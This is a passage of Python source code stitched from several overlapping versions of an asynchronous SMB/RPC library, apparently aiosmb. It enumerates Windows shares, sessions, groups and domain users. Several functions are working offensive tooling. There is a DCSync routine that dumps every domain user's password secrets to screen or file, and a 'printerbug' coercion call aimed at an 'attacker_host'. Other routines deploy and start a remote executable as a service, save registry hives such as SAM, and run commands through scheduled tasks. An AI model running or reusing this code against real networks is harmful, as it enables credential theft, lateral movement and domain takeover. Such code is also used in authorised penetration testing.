async def connect_rpc(self, service_name): if service_name.upper() == 'SRVS': self.srvs = SMBSRVS(self.connection) self.privtable['SRVS'] = False await rr(self.srvs.connect()) self.privtable['SRVS'] = True elif service_name.upper() == 'SAMR': self.samr = SMBSAMR(self.connection) self.privtable['SAMR'] = False await rr(self.samr.connect()) self.privtable['SAMR'] = True elif service_name.upper() == 'LSAD': self.lsad = LSAD(self.connection) self.privtable['LSAD'] = False await rr(self.lsad.connect()) self.privtable['LSAD'] = True elif service_name.upper() == 'RRP': self.rrp = RRP(self.connection) self.privtable['RRP'] = False await rr(self.rrp.connect()) self.privtable['RRP'] = True elif service_name.upper() == 'RPRN': self.rprn = SMBRPRN(self.connection) self.privtable['RPRN'] = False await rr(self.rprn.connect()) self.privtable['RPRN'] = True elif service_name.upper() == 'TSCH': self.tsch = SMBTSCH(self.connection) self.privtable['TSCH'] = False await rr(self.tsch.connect()) self.privtable['TSCH'] = True else: raise Exception('Unknown service name : %s' % service_name) return True, None
async def open_samr(self): if self.samr_works == False: return self.samr = SMBSAMR(self.connection) try: await self.samr.connect() except Exception as e: print('open_samr error: %s' % e) self.samr_works = False else: self.samr_works = True
async def connect_rpc(self, service_name): if service_name.upper() == 'SRVS': self.srvs = SMBSRVS(self.connection) await self.srvs.connect() elif service_name.upper() == 'SAMR': self.samr = SMBSAMR(self.connection) await self.samr.connect() elif service_name.upper() == 'LSAD': self.lsad = LSAD(self.connection) await self.lsad.connect() else: raise Exception('Unknown service name : %s' % service_name)
async def open(self, access_level=samr.MAXIMUM_ALLOWED): self.domain_access_level = access_level if self.samr is None: self.samr = SMBSAMR(self.connection) logging.debug('Connecting to SAMR') try: await self.samr.connect() except Exception as e: logging.exception('Failed to connect to SAMR') raise e self.domain_sid = await self.samr.get_domain_sid(self.domain_name) self.domain_handle = await self.samr.open_domain( self.domain_sid, access_level=self.domain_access_level)
async def list_localgroup_members(connection_string, groupname = 'Administrators', out_file = None, json_out = False): target = SMBTarget.from_connection_string(connection_string) credential = SMBCredential.from_connection_string(connection_string) spneg = AuthenticatorBuilder.to_spnego_cred(credential, target) async with SMBConnection(spneg, target) as connection: await connection.login() async with SMBSAMR(connection) as samr: logging.debug('Connecting to SAMR') try: await samr.connect() except Exception as e: logging.exception('Failed to connect to SAMR') #list domain found = False async for domain in samr.list_domains(): #print(domain) if domain == 'Builtin': found = True logging.info('[+] Found Builtin domain') if found == False: raise Exception('[-] Could not find Builtin domain. Fail.') #open domain domain_sid = await samr.get_domain_sid('Builtin') domain_handle = await samr.open_domain(domain_sid) #list aliases found = False target_rid = None async for name, rid in samr.list_aliases(domain_handle): #print(name, rid) if name == groupname: target_rid = rid found = True logging.info('[+] Found %s group!' % name) break if found == False: raise Exception('[-] %s group not found! Fail.' % name) #open alias alias_handle = await samr.open_alias(domain_handle, target_rid) #list alias memebers async for sid in samr.list_alias_members(alias_handle): print(sid) print('Done!')
async def filereader_test(connection_string, filename): target = SMBTarget.from_connection_string(connection_string) credential = SMBCredential.from_connection_string(connection_string) spneg = AuthenticatorBuilder.to_spnego_cred(credential, target) async with SMBConnection(spneg, target) as connection: await connection.login() samr = SMBSAMR(connection) await samr.connect() async for domain in samr.list_domains(): print('domain: %s' % domain) domain_sid = await samr.get_domain_sid('TEST') print(str(domain_sid)) domain_handle = await samr.open_domain(domain_sid) print(domain_handle) async for username in samr.list_domain_users(domain_handle): print(username) async for groupname in samr.list_domain_groups(domain_handle): print(groupname) async for sid, username in samr.enumerate_users(domain_handle): print(username, sid) user_handle = await samr.open_user(domain_handle, 1106) input(user_handle) async for sid in samr.get_user_group_memberships(user_handle): print(sid) #polling local goup users local_domain_sid = await samr.get_domain_sid('Builtin') domain_handle = await samr.open_domain(local_domain_sid) alias_handle = await samr.open_alias(domain_handle, 544) async for sid in samr.list_alias_members(alias_handle): print(sid)
def __init__(self, connection): self.connection = connection self.services = [] self.shares = [] self.localgroups = [] self.sessions = [] self.domains = [] self.privtable = {} self.blocking_mgr_tasks = {} self.named_rpcs = { 'SRVS': SMBSRVS(self.connection), 'SAMR': SMBSAMR(self.connection), 'LSAD': LSAD(self.connection), 'RRP': RRP(self.connection), 'RPRN': SMBRPRN(self.connection), 'TSCH': SMBTSCH(self.connection), 'PAR': SMBPAR(self.connection), 'SERVICEMGR': SMBRemoteServieManager(self.connection), } self.open_rpcs = {}
class SMBMachine: def __init__(self, connection): self.connection = connection self.services = [] self.shares = [] self.localgroups = [] self.sessions = [] self.domains = [] self.srvs = None self.samr = None self.lsad = None self.rrp = None self.rprn = None self.tsch = None self.filesystem = None self.servicemanager = None self.privtable = {} self.blocking_mgr_tasks = {} async def __aenter__(self): return self async def __aexit__(self, exc_type, exc, traceback): await asyncio.wait_for(self.close(), timeout=3) async def close(self): # TODO: make it prettier! if self.srvs is not None: await self.srvs.close() if self.samr is not None: await self.samr.close() if self.lsad is not None: await self.lsad.close() if self.rrp is not None: await self.rrp.close() if self.rprn is not None: await self.rprn.close() if self.tsch is not None: await self.tsch.close() def get_blocking_file(self): """ Starts a file manager task and initializes the io queues """ in_q = AsyncProcessQueue() out_q = AsyncProcessQueue() fsm = SMBBlockingFileMgr(self.connection, in_q, out_q) fsmt = asyncio.create_task(fsm.run()) self.blocking_mgr_tasks[fsmt] = 1 bfile = SMBBlockingFile(in_q, out_q) return bfile @red async def connect_rpc(self, service_name): if service_name.upper() == 'SRVS': self.srvs = SMBSRVS(self.connection) self.privtable['SRVS'] = False await rr(self.srvs.connect()) self.privtable['SRVS'] = True elif service_name.upper() == 'SAMR': self.samr = SMBSAMR(self.connection) self.privtable['SAMR'] = False await rr(self.samr.connect()) self.privtable['SAMR'] = True elif service_name.upper() == 'LSAD': self.lsad = LSAD(self.connection) self.privtable['LSAD'] = False await rr(self.lsad.connect()) self.privtable['LSAD'] = True elif service_name.upper() == 'RRP': self.rrp = RRP(self.connection) self.privtable['RRP'] = False await rr(self.rrp.connect()) self.privtable['RRP'] = True elif service_name.upper() == 'RPRN': self.rprn = SMBRPRN(self.connection) self.privtable['RPRN'] = False await rr(self.rprn.connect()) self.privtable['RPRN'] = True elif service_name.upper() == 'TSCH': self.tsch = SMBTSCH(self.connection) self.privtable['TSCH'] = False await rr(self.tsch.connect()) self.privtable['TSCH'] = True else: raise Exception('Unknown service name : %s' % service_name) return True, None @red async def connect_servicemanager(self): self.servicemanager = SMBRemoteServieManager(self.connection) self.privtable['SERVICEMGR'] = False await rr(self.servicemanager.connect()) self.privtable['SERVICEMGR'] = True return True, None @req_srvs_gen async def list_shares(self): try: async for name, share_type, remark, err in self.srvs.list_shares(): if err is not None: yield None, err return share = SMBShare( name=name, stype=share_type, remark=remark, fullpath='\\\\%s\\%s' % (self.connection.target.get_hostname_or_ip(), name)) yield share, None except Exception as e: yield None, e @req_srvs_gen async def list_sessions(self, level=10): async for username, ip_addr, err in self.srvs.list_sessions( level=level): if err is not None: yield None, err return sess = SMBUserSession(username=username, ip_addr=ip_addr.replace('\\', '').strip()) self.sessions.append(sess) yield sess, None @req_samr_gen async def list_domains(self): async for domain, err in self.samr.list_domains(): #self.domains.append(domain) yield domain, err @req_samr_gen async def list_localgroups(self): async for name, sid, err in self.list_groups('Builtin'): yield name, sid, err @req_samr_gen async def list_groups(self, domain_name, ret_sid=True): """ Lists all groups in a given domain. domain_name: string """ domain_sid, _ = await rr(self.samr.get_domain_sid(domain_name)) domain_handle, _ = await rr(self.samr.open_domain(domain_sid)) #target_group_rids = {} async for name, rid, _ in rr_gen( self.samr.list_aliases(domain_handle)): sid = '%s-%s' % (domain_sid, rid) yield name, sid, None @req_samr_gen @req_lsad_gen async def list_group_members(self, domain_name, group_name): policy_handle, _ = await rr(self.lsad.open_policy2()) domain_sid, _ = await rr(self.samr.get_domain_sid(domain_name)) domain_handle, _ = await rr(self.samr.open_domain(domain_sid)) target_group_rid = None async for name, rid, _ in rr_gen( self.samr.list_aliases(domain_handle)): if name == group_name: target_group_rid = rid break if target_group_rid is None: raise Exception('No group found with name "%s"' % group_name) alias_handle, _ = await rr( self.samr.open_alias(domain_handle, target_group_rid)) async for sid, _ in rr_gen(self.samr.list_alias_members(alias_handle)): async for domain_name, user_name, _ in rr_gen( self.lsad.lookup_sids(policy_handle, [sid])): yield domain_name, user_name, sid, None async def list_directory(self, directory): _, err = await directory.list(self.connection) if err is not None: yield False, err return for entry in directory.get_console_output(): yield entry async def enum_all_recursively(self, depth=3): shares = {} async for share, err in self.list_shares(): if err is not None: raise err if share.name.upper() == 'IPC$': continue shares[share.name] = share yield share.fullpath, 'share', None for share_name in shares: _, err = await shares[share_name].connect(self.connection) if err is not None: continue raise err async for entry in shares[share_name].subdirs[''].list_r( self.connection, depth=depth): yield entry async def put_file(self, local_path, remote_path): """ remote_path must be a full UNC path with the file name included! """ try: smbfile = SMBFile.from_remotepath(self.connection, remote_path) _, err = await smbfile.open(self.connection, 'w') if err is not None: return False, err with open(local_path, 'rb') as f: total_writen, err = await smbfile.write_buffer(f) await smbfile.close() return total_writen, None except Exception as e: return False, e async def get_file(self, out_path, file_obj): with open(out_path, 'wb') as f: try: await file_obj.open(self.connection, 'r') while True: data = await file_obj.read(1024) if not data: break f.write(data) finally: await file_obj.close() async def get_file_data(self, file_obj): _, err = await file_obj.open(self.connection, 'r') if err is not None: yield None, err return async for data, err in file_obj.read_chunked(): yield data, err async def del_file(self, file_path): return await SMBFile.delete(self.connection, file_path) async def del_directory_path(self, dir_path): return await SMBDirectory.delete_unc(self.connection, dir_path) async def create_subdirectory(self, directory_name, parent_directory_obj): await parent_directory_obj.create_subdir(directory_name, self.connection) @req_servicemanager_gen async def list_services(self): async for service, _ in rr_gen(self.servicemanager.list()): yield service, None @req_servicemanager async def enable_service(self, service_name): res, exc = await rr(self.servicemanager.enable_service(service_name)) return res, exc #@red_gen @req_samr_gen async def list_domain_users(self, target_domain=None): if target_domain is None: logger.debug('No domain defined, fetching it from SAMR') logger.debug('Fetching domains...') async for domain, _ in rr_gen(self.samr.list_domains()): if domain == 'Builtin': continue if target_domain is None: #using th first available target_domain = domain logger.debug('Domain available: %s' % domain) domain_sid, _ = await self.samr.get_domain_sid(target_domain) domain_handle, _ = await self.samr.open_domain(domain_sid) async for username, user_sid, err in self.samr.list_domain_users( domain_handle): yield username, user_sid, err async def dcsync(self, target_domain=None, target_users=[]): try: if self.samr is None: await self.connect_rpc('SAMR') if target_domain is None: logger.debug('No domain defined, fetching it from SAMR') logger.debug('Fetching domains...') async for domain, err in self.samr.list_domains(): if err is not None: raise err if domain == 'Builtin': continue if target_domain is None: #using th first available target_domain = domain logger.debug('Domain available: %s' % domain) async with SMBDRSUAPI(self.connection, target_domain) as drsuapi: try: _, err = await drsuapi.connect() if err is not None: raise err _, err = await drsuapi.open() if err is not None: raise err except Exception as e: logger.exception('Failed to connect to DRSUAPI!') raise e logger.debug('Using domain: %s' % target_domain) if len(target_users) > 0: for username in target_users: secrets, err = await drsuapi.get_user_secrets(username) yield secrets, err else: domain_sid, _ = await self.samr.get_domain_sid( target_domain) domain_handle, _ = await self.samr.open_domain(domain_sid) async for username, user_sid, err in self.samr.list_domain_users( domain_handle): if err is not None: yield None, err return logger.debug('username: %s' % username) secrets, err = await drsuapi.get_user_secrets(username) if err is not None: yield None, err return logger.debug('secrets: %s' % secrets) yield secrets, None except Exception as e: yield None, e return @req_rrp async def get_regapi(self): return self.rrp, None @req_rrp async def save_registry_hive(self, hive_name, remote_path): key_handle, err = await self.rrp.OpenRegPath(hive_name) if err is not None: return None, err res, err = await self.rrp.SaveKey(key_handle, remote_path) return res, err @req_servicemanager async def create_service(self, service_name, command, display_name=None): """ Creates a service and starts it. Does not create files! there is a separate command for that! """ if display_name is None: display_name = service_name res, err = await self.servicemanager.create_service( service_name, display_name, command) return res, err @req_servicemanager async def start_service(self, service_name): """ Creates a service and starts it. Does not create files! there is a separate command for that! """ return await self.servicemanager.start_service(service_name) @req_servicemanager async def stop_service(self, service_name): """ Creates a service and starts it. Does not create files! there is a separate command for that! """ return await self.servicemanager.stop_service(service_name) @req_servicemanager async def deploy_service(self, path_to_executable, remote_path=None, service_name=None): """ remote path must be UNC """ if service_name is None: service_name = os.urandom(4).hex() if remote_path is None: raise NotImplementedError() filename = ntpath.basename(path_to_executable) remote_file_path = remote_path + filename remote_file = SMBFile.from_uncpath(remote_file_path) await self.put_file(path_to_executable, remote_file) command = remote_file_path await self.create_service(service_name, command) return True, None @req_tsch async def tasks_list(self): """ Lists scheduled tasks """ return self.tsch.list_tasks() @req_tsch async def tasks_register(self, template, task_name=None, flags=tsch.TASK_CREATE, sddl=None, logon_type=tsch.TASK_LOGON_NONE): """ Registers a new task """ return await self.tsch.register_task(template, task_name=task_name, flags=flags, sddl=sddl, logon_type=logon_type) @req_tsch async def tasks_execute_commands(self, commands): return await self.tsch.run_commands(commands) @req_tsch async def tasks_delete(self, task_name): return await self.tsch.delete_task(task_name) @req_rprn async def printerbug(self, attacker_host): """ Creates a service and starts it. Does not create files! there is a separate command for that! """ print('opening printer') handle, _ = await rr( self.rprn.open_printer( '\\\\%s\x00' % self.connection.target.get_hostname_or_ip())) print('got handle %s' % handle) resp, _ = await rr( self.rprn.hRpcRemoteFindFirstPrinterChangeNotificationEx( handle, PRINTER_CHANGE_ADD_JOB, pszLocalMachine='\\\\%s\x00' % attacker_host, )) print('got resp! %s' % resp) async def list_interfaces(self): try: interfaces = [] ipc_file = SMBFile.from_uncpath( '\\\\%s\\IPC$' % self.connection.target.get_hostname_or_ip()) await ipc_file.open(self.connection, 'r') ifaces_raw, err = await self.connection.ioctl( ipc_file.tree_id, b'\xFF' * 16, CtlCode.FSCTL_QUERY_NETWORK_INTERFACE_INFO, data=None, flags=IOCTLREQFlags.IS_FSCTL) if err is not None: raise err for iface_raw in ifaces_raw: t = { 'index': iface_raw.IfIndex, 'cap': iface_raw.Capability, 'speed': iface_raw.LinkSpeed, 'address': str(iface_raw.SockAddr_Storage.Addr), } interfaces.append(t) return interfaces, None except Exception as e: return None, e finally: await ipc_file.close() @req_servicemanager async def check_service_status(self, service_name): return await self.servicemanager.check_service_status(service_name) async def list_mountpoints(self): pass
class SMBDomain: def __init__(self, domain_name, samr=None, connection=None): self.domain_name = domain_name self.connection = connection self.domain_access_level = None self.samr = samr self.domain_sid = None self.domain_handle = None if samr is None and connection is None: raise Exception('Either SAMR or CONNECTION must be provided!') async def __aenter__(self): return self async def __aexit__(self, exc_type, exc, traceback): pass async def open(self, access_level=samr.MAXIMUM_ALLOWED): self.domain_access_level = access_level if self.samr is None: self.samr = SMBSAMR(self.connection) logging.debug('Connecting to SAMR') try: await self.samr.connect() except Exception as e: logging.exception('Failed to connect to SAMR') raise e self.domain_sid = await self.samr.get_domain_sid(self.domain_name) self.domain_handle = await self.samr.open_domain( self.domain_sid, access_level=self.domain_access_level) #print(self.domain_sid) async def get_info(self): for i in [ samr.DOMAIN_INFORMATION_CLASS.DomainPasswordInformation, samr.DOMAIN_INFORMATION_CLASS.DomainGeneralInformation2, ]: info = await self.samr.get_info(self.domain_handle, i) info.dump() return info async def list_users(self): async for user_name, user_sid in self.samr.enumerate_users( self.domain_handle): yield (user_name, user_sid) async def open_user(self, user_sid, access_level=samr.MAXIMUM_ALLOWED): user_rid = user_sid.replace(self.domain_sid, '')[1:] user_handle = await self.samr.open_user(self.domain_handle, int(user_rid), access_level=access_level) return user_handle async def get_user_group_memberships(self, user_handle): async for group_sid in self.samr.get_user_group_memberships( user_handle): yield group_sid async def get_user_info(self, user_handle): info = await self.samr.get_user_info( user_handle, samr.USER_INFORMATION_CLASS.UserParametersInformation) info.dump() return info async def list_groups(self): async for name, sid in self.samr.list_domain_groups( self.domain_handle): yield name, sid async def get_security_info(self, handle): info = await self.samr.get_security_info(handle) info.dump() return info
class SMBMachine: def __init__(self, connection): self.connection = connection self.services = [] self.shares = [] self.localgroups = [] self.sessions = [] self.domains = [] self.srvs = None self.samr = None self.lsad = None self.rrp = None self.filesystem = None self.servicemanager = None self.privtable = {} self.blocking_mgr_tasks = {} def get_blocking_file(self): """ Starts a file manager task and initializes the io queues """ in_q = AsyncProcessQueue() out_q = AsyncProcessQueue() fsm = SMBBlockingFileMgr(self.connection, in_q, out_q) fsmt = asyncio.create_task(fsm.run()) self.blocking_mgr_tasks[fsmt] = 1 bfile = SMBBlockingFile(in_q, out_q) return bfile @red async def connect_rpc(self, service_name): if service_name.upper() == 'SRVS': self.srvs = SMBSRVS(self.connection) self.privtable['SRVS'] = False await rr(self.srvs.connect()) self.privtable['SRVS'] = True elif service_name.upper() == 'SAMR': self.samr = SMBSAMR(self.connection) self.privtable['SAMR'] = False await rr(self.samr.connect()) self.privtable['SAMR'] = True elif service_name.upper() == 'LSAD': self.lsad = LSAD(self.connection) self.privtable['LSAD'] = False await rr(self.lsad.connect()) self.privtable['LSAD'] = True elif service_name.upper() == 'RRP': self.rrp = RRP(self.connection) self.privtable['RRP'] = False await rr(self.rrp.connect()) self.privtable['RRP'] = True else: raise Exception('Unknown service name : %s' % service_name) return True, None @red async def connect_servicemanager(self): self.servicemanager = SMBRemoteServieManager(self.connection) self.privtable['SERVICEMGR'] = False await rr(self.servicemanager.connect()) self.privtable['SERVICEMGR'] = True return True, None @req_srvs_gen async def list_shares(self): async for name, share_type, remark, _ in rr_gen(self.srvs.list_shares()): share = SMBShare( name = name, stype = share_type, remark = remark, fullpath = '\\\\%s\\%s' % (self.connection.target.get_hostname_or_ip(), name) ) #self.shares.append(share) yield share, None @req_srvs_gen async def list_sessions(self, level = 1): async for username, ip_addr, _ in rr_gen(self.srvs.list_sessions(level = level)): sess = SMBUserSession(username = username, ip_addr = ip_addr.replace('\\','').strip()) self.sessions.append(sess) yield sess, None @req_samr_gen async def list_domains(self): async for domain, _ in rr_gen(self.samr.list_domains()): #self.domains.append(domain) yield domain, None @req_samr_gen async def list_localgroups(self): async for name, sid, _ in rr_gen(self.list_groups('Builtin')): yield name, sid, None @req_samr_gen async def list_groups(self, domain_name, ret_sid = True): """ Lists all groups in a given domain. domain_name: string """ domain_sid, _ = await rr(self.samr.get_domain_sid(domain_name)) domain_handle, _ = await rr(self.samr.open_domain(domain_sid)) #target_group_rids = {} async for name, rid, _ in rr_gen(self.samr.list_aliases(domain_handle)): sid = '%s-%s' % (domain_sid, rid) yield name, sid, None @req_samr_gen @req_lsad_gen async def list_group_members(self, domain_name, group_name): policy_handle, _ = await rr(self.lsad.open_policy2()) domain_sid, _ = await rr(self.samr.get_domain_sid(domain_name)) domain_handle, _ = await rr(self.samr.open_domain(domain_sid)) target_group_rid = None async for name, rid, _ in rr_gen(self.samr.list_aliases(domain_handle)): if name == group_name: target_group_rid = rid break if target_group_rid is None: raise Exception('No group found with name "%s"' % group_name) alias_handle, _ = await rr(self.samr.open_alias(domain_handle, target_group_rid)) async for sid, _ in rr_gen(self.samr.list_alias_members(alias_handle)): async for domain_name, user_name, _ in rr_gen(self.lsad.lookup_sids(policy_handle, [sid])): yield domain_name, user_name, sid, None async def list_directory(self, directory): await directory.list(self.connection) for entry in directory.get_console_output(): yield entry async def put_file(self, local_path, remote_path): """ remote_path must be a full UNC path with the file name included! """ smbfile = SMBFile.from_remotepath(self.connection, remote_path) await smbfile.open(self.connection, 'w') with open(local_path, 'rb') as f: await smbfile.write_buffer(f) await smbfile.close() return True async def get_file(self, out_path, file_obj): with open(out_path, 'wb') as f: try: await file_obj.open(self.connection, 'r') while True: data = await file_obj.read(1024) if not data: break f.write(data) finally: await file_obj.close() async def get_file_data(self, file_obj): await file_obj.open(self.connection, 'r') async for data in file_obj.read_chunked(): yield data async def del_file(self, file_path): await SMBFile.delete(self.connection, file_path) async def create_subdirectory(self, directory_name, parent_directory_obj): await parent_directory_obj.create_subdir(directory_name, self.connection) @req_servicemanager_gen async def list_services(self): async for service, _ in rr_gen(self.servicemanager.list()): yield service, None @req_servicemanager async def enable_service(self, service_name): res, exc = await rr(self.servicemanager.enable_service(service_name)) return res, exc #@red_gen @req_samr_gen async def list_domain_users(self, target_domain = None): if target_domain is None: logger.debug('No domain defined, fetching it from SAMR') logger.debug('Fetching domains...') async for domain, _ in rr_gen(self.samr.list_domains()): if domain == 'Builtin': continue if target_domain is None: #using th first available target_domain = domain logger.debug('Domain available: %s' % domain) domain_sid, _ = await self.samr.get_domain_sid(target_domain) domain_handle, _ = await self.samr.open_domain(domain_sid) async for username, user_sid, err in self.samr.list_domain_users(domain_handle): yield username, user_sid, err #@red_gen @req_samr_gen async def dcsync(self, target_domain = None, target_users = []): if target_domain is None: logger.debug('No domain defined, fetching it from SAMR') logger.debug('Fetching domains...') async for domain, _ in rr_gen(self.samr.list_domains()): if domain == 'Builtin': continue if target_domain is None: #using th first available target_domain = domain logger.debug('Domain available: %s' % domain) async with SMBDRSUAPI(self.connection, target_domain) as drsuapi: try: await rr(drsuapi.connect()) await rr(drsuapi.open()) except Exception as e: logger.exception('Failed to connect to DRSUAPI!') raise e logger.debug('Using domain: %s' % target_domain) if len(target_users) > 0: for username in target_users: secrets, _ = await drsuapi.get_user_secrets(username) yield secrets else: domain_sid, _ = await self.samr.get_domain_sid(target_domain) domain_handle, _ = await self.samr.open_domain(domain_sid) async for username, user_sid, err in self.samr.list_domain_users(domain_handle): if err is not None: yield None, err logger.debug('username: %s' % username) secrets, _ = await rr(drsuapi.get_user_secrets(username)) logger.debug('secrets: %s' % secrets) yield secrets, None @req_rrp async def save_registry_hive(self, hive_name, remote_path): #SAM C:\aaaa\sam.reg res, _ = await rr(self.rrp.save_hive(hive_name, remote_path)) return True, None @req_servicemanager async def create_service(self, service_name, command, display_name = None): """ Creates a service and starts it. Does not create files! there is a separate command for that! """ if display_name is None: display_name = service_name res, _ = await rr(self.servicemanager.create_service(service_name, display_name, command)) return True, None @req_servicemanager async def deploy_service(self, path_to_executable, remote_path = None, service_name = None): """ remote path must be UNC """ if service_name is None: service_name = os.urandom(4).hex() if remote_path is None: raise NotImplementedError() filename = ntpath.basename(path_to_executable) remote_file_path = remote_path + filename remote_file = SMBFile.from_uncpath(remote_file_path) await self.put_file(path_to_executable, remote_file) command = remote_file_path await self.create_service(service_name, command) return True, None async def stop_service(self): pass async def list_mountpoints(self): pass
async def dcsync(connection_string, filename=None, target_domain=None, target_users=[], json_out=False): target = SMBTarget.from_connection_string(connection_string) credential = SMBCredential.from_connection_string(connection_string) spneg = AuthenticatorBuilder.to_spnego_cred(credential, target) async with SMBConnection(spneg, target) as connection: await connection.login() async with SMBSAMR(connection) as samr: logging.debug('Connecting to SAMR') try: await samr.connect() except Exception as e: loggign.exception('Failed to connect to SAMR') if target_domain is None: logging.debug('No domain defined, fetching it from SAMR') logging.debug('Fetching domains...') async for domain in samr.list_domains(): if target_domain is None: #using th first available target_domain = domain logging.debug('Domain available: %s' % domain) logging.debug('Using domain: %s' % target_domain) async with SMBDRSUAPI(connection, target_domain) as drsuapi: try: await drsuapi.connect() await drsuapi.open() except: logging.exception('Failed to connect to DRSUAPI!') if len(target_users) > 0: if filename is not None: with open(filename, 'w') as f: for username in target_users: secrets = await drsuapi.get_user_secrets( username) if json_out == True: f.write(json.dumps(secrets.to_dict())) else: f.write(str(secrets)) else: for username in target_users: secrets = await drsuapi.get_user_secrets(username) print(str(secrets)) else: domain_sid = await samr.get_domain_sid(target_domain) domain_handle = await samr.open_domain(domain_sid) if filename is not None: with open(filename, 'w') as f: async for username, user_sid in samr.list_domain_users( domain_handle): secrets = await drsuapi.get_user_secrets( username) if json_out == True: f.write( json.dumps(secrets.to_dict()) + '\r\n') else: f.write(str(secrets)) else: async for username, user_sid in samr.list_domain_users( domain_handle): secrets = await drsuapi.get_user_secrets(username) print(str(secrets)) print('Done!')
class SMBHostScanner: def __init__(self, connection, results_queue=None): """ Connection MUST NOT be initialized!!!! """ self.connection = connection self.hostinfo = SMBHostInfo() self.results_queue = results_queue self.fs = SMBFileSystem(connection) self.srvs = None self.srvs_works = True self.samr = None self.samr_works = True async def connect(self): await self.connection.login() async def fake_logon(self): """ Initiates NTLM authentication, but disconnects after the server sent the CHALLENGE message. Useful for getting info on the server without having valid user creds """ extra_info = await self.connection.fake_login() print(extra_info) if self.results_queue is not None: await self.results_queue.put(extra_info) else: self.hostinfo.finger_info = extra_info async def open_srvs(self): if self.srvs_works == False: return self.srvs = SMBSRVS(self.connection) try: await self.srvs.connect() except Exception as e: print('open_srvs error: %s' % e) self.srvs_works = False else: self.srvs_works = True async def open_samr(self): if self.samr_works == False: return self.samr = SMBSAMR(self.connection) try: await self.samr.connect() except Exception as e: print('open_samr error: %s' % e) self.samr_works = False else: self.samr_works = True async def list_shares(self): """ Lists all available shares on the host """ if not self.srvs: await self.open_srvs() async for name, share_type, remark in self.srvs.list_shares(): share = SMBShare(name, share_type, remark, fullpath='\\\\%s\\%s' % (self.connection.target.get_ip(), name)) self.hostinfo.shares.append(share) if self.results_queue is not None: await self.results_queue.put(share) async def enumerate_share(self, share): """ Enumerates all active user sessions on the host """ try: await self.fs.connect_share(share) except Exception as e: return for directory_name in share.subdirs: async for directory in self.fs.enumerate_directory_stack( share.subdirs[directory_name], maxdepth=4, with_sid=True): if self.results_queue is not None: await self.results_queue.put(directory) async def enumerate_sessions(self): """ Enumerates all active user sessions on the host """ if not self.srvs: await self.open_srvs() if self.srvs_works == False: return try: async for user, ip in self.srvs.list_sessions(): session = SMBUserSession(user, ip) if self.results_queue is not None: await self.results_queue.put(session) self.hostinfo.sessions.append(session) except Exception as e: print(e) return async def enumerate_groups(self): """ Enumerates the LOCAL groups on the host """ if not self.samr: await self.open_samr() print(self.samr_works) if self.samr_works == False: return local_domain_sid = await self.samr.get_domain_sid('Builtin') print('local_domain_sid : %s' % local_domain_sid) domain_handle = await self.samr.open_domain(local_domain_sid) async for groupname, sid in self.samr.list_domain_groups( domain_handle): lg = SMBLocalGroup(groupname, sid) alias_handle = await self.samr.open_alias(domain_handle, sid.split('-')[-1]) print('alias_handle : %s' % alias_handle) async for sid in self.samr.list_alias_members(alias_handle): lg.members[sid] = 1 if self.results_queue is not None: await self.results_queue.put(lg) self.hostinfo.groups.append(lg) async def enumerate_services(self): raise Exception('Not implemented') async def enumerate_tasks(self): raise Exception('Not implemented') async def run(self): await self.fake_logon()
class SMBMachine: def __init__(self, connection): self.connection = connection self.services = [] self.shares = [] self.localgroups = [] self.sessions = [] self.domains = [] self.srvs = None self.samr = None self.lsad = None self.filesystem = None self.servicemanager = None async def connect_rpc(self, service_name): if service_name.upper() == 'SRVS': self.srvs = SMBSRVS(self.connection) await self.srvs.connect() elif service_name.upper() == 'SAMR': self.samr = SMBSAMR(self.connection) await self.samr.connect() elif service_name.upper() == 'LSAD': self.lsad = LSAD(self.connection) await self.lsad.connect() else: raise Exception('Unknown service name : %s' % service_name) async def connect_filesystem(self): self.filesystem = SMBFileSystem(self.connection) async def connect_servicemanager(self): self.servicemanager = SMBRemoteServieManager(self.connection) await self.servicemanager.connect() @req_srvs_gen async def list_shares(self): async for name, share_type, remark in self.srvs.list_shares(): share = SMBShare( name=name, stype=share_type, remark=remark, fullpath='\\\\%s\\%s' % (self.connection.target.get_hostname_or_ip(), name)) self.shares.append(share) yield share @req_srvs_gen async def list_sessions(self, level=1): async for username, ip_addr in self.srvs.list_sessions(level=level): sess = SMBUserSession(username=username, ip_addr=ip_addr.replace('\\', '').strip()) self.sessions.append(sess) yield sess @req_samr_gen async def list_domains(self): async for domain in self.samr.list_domains(): self.domains.append(domain) yield domain @req_samr_gen async def list_localgroups(self): async for group in self.list_groups('Builtin'): yield group @req_samr_gen async def list_groups(self, domain_name, ret_sid=True): """ Lists all groups in a given domain. domain_name: string """ domain_sid = await self.samr.get_domain_sid(domain_name) domain_handle = await self.samr.open_domain(domain_sid) #target_group_rids = {} async for name, rid in self.samr.list_aliases(domain_handle): sid = '%s-%s' % (domain_sid, rid) yield name, sid @req_samr_gen @req_lsad_gen async def list_group_members(self, domain_name, group_name): policy_handle = await self.lsad.open_policy2() domain_sid = await self.samr.get_domain_sid(domain_name) domain_handle = await self.samr.open_domain(domain_sid) target_group_rid = None async for name, rid in self.samr.list_aliases(domain_handle): if name == group_name: target_group_rid = rid break alias_handle = await self.samr.open_alias(domain_handle, target_group_rid) async for sid in self.samr.list_alias_members(alias_handle): async for domain_name, user_name in self.lsad.lookup_sids( policy_handle, [sid]): yield (domain_name, user_name, sid) async def list_directory(self, directory): await directory.list(self.connection) for entry in directory.get_console_output(): yield entry async def put_file_raw(self, local_path, remote_path): """ remote_path must be a full UNC path with the file name included! """ with open(local_path, 'rb') as f: async with SMBFileReader(self.connection) as writer: await writer.open(remote_path, 'w') while True: await asyncio.sleep(0) data = f.read(1024) if not data: break await writer.write(data) async def get_file(self, out_path, file_obj): with open(out_path, 'wb') as f: try: await file_obj.open(self.connection, 'r') while True: data = await file_obj.read(1024) if not data: break f.write(data) finally: await file_obj.close() async def create_subdirectory(self, directory_name, parent_directory_obj): await parent_directory_obj.create_subdir(directory_name, self.connection) @req_servicemanager_gen async def list_services(self): async for service in self.servicemanager.list(): yield service @req_samr_gen async def dcsync(self, target_domain=None, target_users=[]): if target_domain is None: logger.debug('No domain defined, fetching it from SAMR') logger.debug('Fetching domains...') async for domain in self.samr.list_domains(): if domain == 'Builtin': continue if target_domain is None: #using th first available target_domain = domain logger.debug('Domain available: %s' % domain) async with SMBDRSUAPI(self.connection, target_domain) as drsuapi: try: await drsuapi.connect() await drsuapi.open() except Exception as e: logger.exception('Failed to connect to DRSUAPI!') raise e logger.debug('Using domain: %s' % target_domain) if len(target_users) > 0: for username in target_users: secrets = await drsuapi.get_user_secrets(username) yield secrets else: domain_sid = await self.samr.get_domain_sid(target_domain) domain_handle = await self.samr.open_domain(domain_sid) async for username, user_sid in 